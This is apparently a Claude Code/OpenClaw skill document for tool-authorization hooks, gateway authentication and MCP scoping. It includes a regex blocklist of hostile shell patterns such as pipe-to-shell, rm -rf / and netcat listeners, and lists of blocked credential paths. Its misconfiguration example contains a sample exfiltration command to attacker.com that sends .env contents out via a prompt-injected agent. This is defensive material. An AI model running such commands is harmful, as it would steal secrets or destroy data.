This skill should be used when the user asks to "control agent tool access", "implement tool authorization", "gate Bash commands", "restrict MCP access", "authenticate gateway messages", "implement PreToolUse hooks", or mentions tool authorization, command filtering, gateway auth, API scope, or tool-level security. Implements per-tool authorization hooks, gateway authentication, command blocklists, and MCP scope management for OpenClaw and Claude Code deployments. Use this skill whenever tool-level access controls need to be implemented, even if they don't explicitly ask for "openclaw-tool-auth". [EXPLICIT]
From jm-adknpx claudepluginhub javimontano/jm-adk-alfaThis skill is limited to using the following tools:
agents/guardian.mdagents/lead.mdagents/specialist.mdagents/support.mdevals/evals.jsonknowledge/body-of-knowledge.mdknowledge/knowledge-graph.mdprompts/meta.mdprompts/primary.mdprompts/variations/deep.mdprompts/variations/quick.mdreferences/hook-scripts.mdtemplates/output.docx.mdtemplates/output.htmlThe agent's allowed-tools list is the last line of defense. If the Gateway is breached and the Core is tricked, the only thing standing between a prompt-injection payload and rm -rf / is the tool authorization layer. This skill implements deterministic, code-level controls that gate every tool call through validation hooks, command blocklists, path restrictions, and sender verification — so the agent can only do what you explicitly permit. [EXPLICIT]
Cada herramienta es un privilegio que se gana, no un derecho que se hereda. Ningun tool call debe ejecutarse sin pasar por una validacion determinista — el agente propone, el hook dispone.
allowed-tools list in SKILL.md frontmatter and settings.json enforces the ceiling; hooks enforce the floor. [EXPLICIT]PreToolUse and PostToolUse hooks are the mechanism. They receive tool name and input via environment variables, validate against rules, and exit 0 (allow) or exit 2 (block). [EXPLICIT]Parse $ARGUMENTS: $1 = project name, --tools = comma-separated tool list to authorize. [EXPLICIT]
Parameters:
{MODO}: piloto-auto (default) | desatendido | supervisado | paso-a-paso [EXPLICIT]{FORMATO}: markdown (default) | html | dual--tools: Explicit tool list to authorize (e.g., bash,read,write,edit). Default: read,glob,grep (read-only). [EXPLICIT]--strict: Enable maximum restriction mode — blocklist-first for Bash, project-dir-only for files. [EXPLICIT]--audit-only: Deploy hooks in logging-only mode (no blocking). Useful for migration. [EXPLICIT]dangerouslySkipPermissions) to hardened configuration [EXPLICIT]| Need | Use Instead | Why |
|---|---|---|
| Designing overall security architecture | 5022-open-claude-security | Architecture first, implementation second |
| Docker container isolation | 5023-openclaw-isolation | Container-level, not tool-level |
| End-to-end personal deployment | 5025-openclaw-personal-deploy | Orchestrates the full deploy |
| Creating hooks from scratch (generic) | 9038-hook-creator | Generic hook creation, not security-specific |
| Building OpenClaw agents | 9081-open-claw-builder | Builds agents; this skill secures their tools |
| General API security design | 5005-api-security | API-level, not agent-tool-level |
Detect existing hook and configuration state:
Glob .claude/settings.json .claude/settings.local.json
Glob .claude/hooks/*.py .claude/hooks/*.sh
Glob .mcp.json
Glob CLAUDE.md
Load reference materials:
Read ${CLAUDE_SKILL_DIR}/references/hook-scripts.md
If existing hooks are found, audit them first. If no hooks exist, generate from templates. [EXPLICIT]
PreToolUse hooks intercept every tool call before execution. Claude Code passes the tool name and input via environment variables, the hook script validates, and exits with a code that determines the outcome. [EXPLICIT]
Hook lifecycle:
Agent decides to call tool
│
▼
┌─────────────────────────┐
│ PreToolUse Hook fires │
│ ENV: TOOL_NAME │
│ ENV: TOOL_INPUT (JSON) │
│ Timeout: 5000ms │
└────────┬────────────────┘
│
┌────┴────┐
│ Validate │
└────┬────┘
│
┌────┴─────────────┐
│ │
exit 0 exit 2
(ALLOW) (BLOCK)
│ │
▼ ▼
Tool executes Tool blocked,
reason shown
to agent
Hook registration in settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"command": "python3 .claude/hooks/validate-bash.py",
"timeout": 5000
},
{
"matcher": "Read|Write|Edit",
"command": "python3 .claude/hooks/validate-file-access.py",
"timeout": 5000
}
],
"PostToolUse": [
{
"command": "python3 .claude/hooks/audit-log.py",
"timeout": 3000
}
]
}
}
Exit code contract:
| Exit Code | Meaning | Agent Behavior |
|---|---|---|
| 0 | Allowed | Tool executes normally [EXPLICIT] |
| 1 | Hook error | Tool proceeds (fail-open) — avoid this [EXPLICIT] |
| 2 | Blocked | Tool blocked, stderr shown as reason [EXPLICIT] |
Critical: Exit code 1 means hook failure, which is fail-open by default. Always ensure hooks exit 0 or 2, never 1 from validation logic. Handle all exceptions to avoid accidental fail-open. [EXPLICIT]
Hook script requirements:
TOOL_NAME and TOOL_INPUT from environment variables [EXPLICIT]TOOL_INPUT as JSON [EXPLICIT]Minimal validate-bash.py example:
#!/usr/bin/env python3
"""PreToolUse hook: validates Bash commands against blocklist."""
import os, sys, json, re
BLOCKLIST = [
r'\brm\s+(-[rRf]+\s+)*/', # rm with absolute paths
r'\bcurl\b.*\|\s*(sh|bash)', # pipe-to-shell
r'\bwget\b.*\|\s*(sh|bash)', # pipe-to-shell
r'\bchmod\s+777\b', # world-writable
r'\bsudo\b', # privilege escalation
r'\bdd\s+', # disk-level operations
r'\bmkfs\b', # filesystem formatting
r'\b>\s*/dev/sd', # raw device writes
r'\bnc\s+-l', # netcat listeners
r'dangerouslySkipPermissions', # self-modification
]
def main():
tool_input = json.loads(os.environ.get("TOOL_INPUT", "{}"))
command = tool_input.get("command", "")
for pattern in BLOCKLIST:
if re.search(pattern, command, re.IGNORECASE):
print(f"BLOCKED: command matches blocklist pattern: {pattern}",
file=sys.stderr)
sys.exit(2)
sys.exit(0)
if __name__ == "__main__":
main()
Full production scripts with logging, allowlists, and edge-case handling are in references/hook-scripts.md. [EXPLICIT]
Bash is the highest-risk tool. A single unvalidated command can exfiltrate data, modify system files, or install malware. Two complementary strategies: blocklist (block known-bad patterns) and allowlist (allow only known-good patterns). [EXPLICIT]
Strategy selection:
| Strategy | Security Level | Usability | When to Use |
|---|---|---|---|
| Blocklist-only | Medium | High | Development, personal use with trusted inputs [EXPLICIT] |
| Allowlist-only | Very High | Low | CI/CD, restricted agents, high-security [EXPLICIT] |
| Blocklist + Allowlist | High | Medium | Personal OpenClaw with gateway exposure [EXPLICIT] |
Blocklist categories:
| Category | Patterns | Severity |
|---|---|---|
| Destructive operations | rm -rf /, mkfs, dd if=, format commands | Critical [EXPLICIT] |
| Privilege escalation | sudo, su -, chmod 777, chown root | Critical [EXPLICIT] |
| Network exfiltration | curl POST, wget -O-, nc, scp, reverse shells | Critical [EXPLICIT] |
| Pipe-to-shell | `curl | sh, wget |
| Self-modification | Edit .claude/, modify settings.json, change hooks | High [EXPLICIT] |
| Credential access | cat ~/.ssh/*, cat .env, printenv with secrets | High [EXPLICIT] |
| Package installation | npm install -g, pip install, apt install | Medium [INFERRED] |
Allowlist approach (for --strict mode):
ALLOWLIST = [
r'^(ls|cat|head|tail|wc|sort|uniq|grep|find|echo)\b',
r'^git\s+(status|log|diff|branch|show)\b',
r'^npm\s+(test|run\s+lint|run\s+build)\b',
r'^python3?\s+.*\.py$',
r'^node\s+.*\.js$',
]
When using allowlist mode, any command not matching an allowlist pattern is blocked by default. This is significantly safer but requires maintaining the allowlist as workflow needs evolve. [EXPLICIT]
Audit logging for Bash:
Every Bash command — allowed or blocked — gets logged with timestamp, command text, decision, and matched pattern. This creates an audit trail for incident investigation. Log destination: .claude/logs/tool-auth.jsonl. [EXPLICIT]
File access (Read, Write, Edit) must be restricted to prevent reading secrets, modifying configuration, or accessing files outside the project scope. [EXPLICIT]
Path authorization rules:
| Rule | Implementation | Purpose |
|---|---|---|
| Project directory only | Resolve all paths to absolute, verify prefix matches project root | Prevent directory traversal [EXPLICIT] |
| Sensitive file blocking | Block patterns: .env*, *.pem, *.key, id_rsa*, credentials* | Protect secrets [EXPLICIT] |
| Config protection | Block writes to .claude/settings*.json, .claude/hooks/* | Prevent self-modification [EXPLICIT] |
| Symlink resolution | Resolve symlinks before path check | Prevent symlink escapes [EXPLICIT] |
| Home directory blocking | Block access to ~/.ssh/, ~/.aws/, ~/.gnupg/ | Protect system credentials [EXPLICIT] |
Path validation logic:
import os
PROJECT_ROOT = os.path.abspath(os.environ.get("PROJECT_ROOT", os.getcwd()))
BLOCKED_PATTERNS = [
".env", ".pem", ".key", "id_rsa", "id_ed25519",
"credentials", ".aws/", ".ssh/", ".gnupg/",
]
WRITE_PROTECTED = [
".claude/settings.json", ".claude/settings.local.json",
".claude/hooks/",
]
def validate_path(file_path, is_write=False):
resolved = os.path.realpath(os.path.abspath(file_path))
# Must be within project root
if not resolved.startswith(PROJECT_ROOT):
return False, f"Outside project root: {resolved}"
# Check blocked patterns
for pattern in BLOCKED_PATTERNS:
if pattern in resolved.lower():
return False, f"Sensitive file blocked: {pattern}"
# Write-specific protections
if is_write:
rel = os.path.relpath(resolved, PROJECT_ROOT)
for protected in WRITE_PROTECTED:
if rel.startswith(protected):
return False, f"Write-protected path: {protected}"
return True, "OK"
Full implementation with symlink resolution and edge cases in references/hook-scripts.md. [EXPLICIT]
When OpenClaw exposes a Gateway (Telegram bot, WhatsApp adapter, Slack app, HTTP API), every incoming message must be verified before reaching the agent. Without sender verification, anyone who discovers the endpoint can inject prompts. [EXPLICIT]
Authentication per platform:
| Platform | Identifier | Verification Method |
|---|---|---|
| Telegram | chat_id (integer) | Compare against allowlist of authorized chat IDs [EXPLICIT] |
| Phone number (E.164) | Compare against allowlist of authorized numbers [EXPLICIT] | |
| Slack | workspace_id + user_id | Verify workspace membership + user allowlist [EXPLICIT] |
| HTTP API | API key or JWT | Validate token against known keys, check expiry [EXPLICIT] |
| Discord | guild_id + user_id | Server membership + role check [INFERRED] |
Gateway auth configuration:
{
"gateway_auth": {
"telegram": {
"allowed_chat_ids": [123456789],
"reject_unknown": true
},
"whatsapp": {
"allowed_numbers": ["+1234567890"],
"reject_unknown": true
},
"slack": {
"allowed_workspaces": ["T0123ABCDEF"],
"allowed_users": ["U0123ABCDEF"],
"reject_unknown": true
},
"http": {
"auth_type": "bearer",
"token_env_var": "OPENCLAW_API_TOKEN"
}
}
}
Auth flow: Extract sender identity → check allowlist → match: pass with metadata, no match + reject_unknown: drop + log. [EXPLICIT]
Rate limits: 10 msg/min, 100 msg/hour, 4096 char max, 60s cooldown on breach. Implementation in references/hook-scripts.md. [EXPLICIT]
Each MCP server grants the agent access to a set of tools. Without scope controls, an agent with access to a database MCP and a messaging MCP could read your database and send the contents via message — a classic confused-deputy attack. [EXPLICIT]
MCP scope control strategies:
| Strategy | Implementation | Security Level |
|---|---|---|
| Per-MCP tool allowlist | Only permit specific tools from each MCP server | High [EXPLICIT] |
| Data flow labeling | Tag MCP outputs with sensitivity labels, restrict cross-MCP flow | Very High [INFERRED] |
| Read-only MCP access | Configure MCP to expose only read operations | Medium [EXPLICIT] |
| Single-MCP sessions | Each agent session connects to only one MCP | Very High [EXPLICIT] |
MCP scope config — per-server scope block with allowed_tools, blocked_tools, and data_label:
{ "filesystem": { "scope": { "allowed_tools": ["read_file", "list_directory"], "blocked_tools": ["write_file"], "data_label": "internal" } },
"github": { "scope": { "allowed_tools": ["list_issues", "get_issue"], "blocked_tools": ["delete_repo"], "data_label": "public" } } }
Cross-MCP data flow rules:
| Source Label | Can Flow To | Blocked From |
|---|---|---|
internal | Same-label MCPs, local file system | External MCPs, messaging [EXPLICIT] |
public | Any MCP | None [EXPLICIT] |
secret | No MCPs, local encrypted storage only | All MCPs [EXPLICIT] |
user-data | Same-label MCPs with consent | External MCPs, logging [INFERRED] |
MCP audit requirements:
Assumptions:
Limits:
5023-openclaw-isolation [EXPLICIT]User wants to temporarily bypass a hook for debugging. Never disable hooks by removing them. Instead, set an environment variable TOOL_AUTH_MODE=audit-only that switches hooks from blocking (exit 2) to logging-only (exit 0 + log entry). This maintains the audit trail while unblocking the workflow. Remove the env var when done. Document the bypass window in logs. [EXPLICIT]
New tool added to allowed-tools that has no hook coverage. When adding a tool to settings.json permissions, always create or update the corresponding PreToolUse hook matcher. Default behavior for unmatched tools depends on settings: if no hook matches, the tool proceeds without validation. Create a catch-all hook with "matcher": ".*" that logs unmatched tool calls and optionally blocks them. [EXPLICIT]
False positive blocking a legitimate command. The blocklist pattern rm\s+(-[rRf]+\s+)*/ blocks rm -rf /tmp/build-cache even though it is safe. Solutions: (a) add a path-based exception for known-safe directories, (b) use an allowlist entry that overrides the blocklist for specific patterns, (c) log the false positive and refine the regex. Never weaken the blocklist globally for a single exception. [EXPLICIT]
Hook script crashes (exit code 1 — fail-open). Because exit 1 means hook error (fail-open), a crashing hook silently allows all tool calls. Mitigation: wrap all hook logic in try/except with explicit exit(2) in the except block. This converts hook errors to fail-closed. Test hooks with malformed inputs to verify they never crash to exit 1. [EXPLICIT]
Gateway receives message from new device/number not in allowlist. With reject_unknown: true, the message is silently dropped. The user has no feedback mechanism. Solution: log rejected messages with sender identity. Implement a notification mechanism (separate from the agent) that alerts the user when unknown senders are rejected. Provide a CLI command to add senders to the allowlist: python3 gateway-auth.py --add-sender telegram:123456. [INFERRED]
// settings.json — hooks registered for every tool
{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "command": "python3 .claude/hooks/validate-bash.py", "timeout": 5000 },
{ "matcher": "Read|Write|Edit", "command": "python3 .claude/hooks/validate-file-access.py", "timeout": 5000 }
],
"PostToolUse": [
{ "command": "python3 .claude/hooks/audit-log.py", "timeout": 3000 }
]
}
}
Why good: Every tool gated by PreToolUse hook. Bash validated against blocklist (5 patterns). File access validated against path allowlist. Audit log captures every tool call. Scripts use fail-closed (exit 2 on error, not exit 1). Audit-only mode available via TOOL_AUTH_MODE=audit-only. Full implementations in references/hook-scripts.md. [EXPLICIT]
{
"permissions": {
"allow": ["Bash", "Read", "Write", "Edit"],
"deny": []
}
}
No hooks. No blocklist. No audit trail. Every Bash command executes without inspection. A prompt injection that reaches the agent can run arbitrary shell commands — curl attacker.com/exfil?data=$(cat .env) executes silently. [EXPLICIT]
Why bad: No hook registration means no validation layer. The allow list grants tools but nothing validates their usage. The deny list is empty — no patterns are blocked. No logging means incidents are invisible. [EXPLICIT]
| File | Content | Load When |
|---|---|---|
references/hook-scripts.md | Production-ready hook implementations: validate-bash.py, validate-file-access.py, audit-log.py, gateway-auth.py | Always — core implementation reference [EXPLICIT] |
Complexity tier: Standard (references/) [EXPLICIT]
Companion skills: 5022-open-claude-security (architecture), 5023-openclaw-isolation (containers), 5025-openclaw-personal-deploy (deployment) [EXPLICIT]
Author: Javier Montano | Last updated: 2026-03-27
Searches, retrieves, and installs Agent Skills from prompts.chat registry using MCP tools like search_skills and get_skill. Activates for finding skills, browsing catalogs, or extending Claude.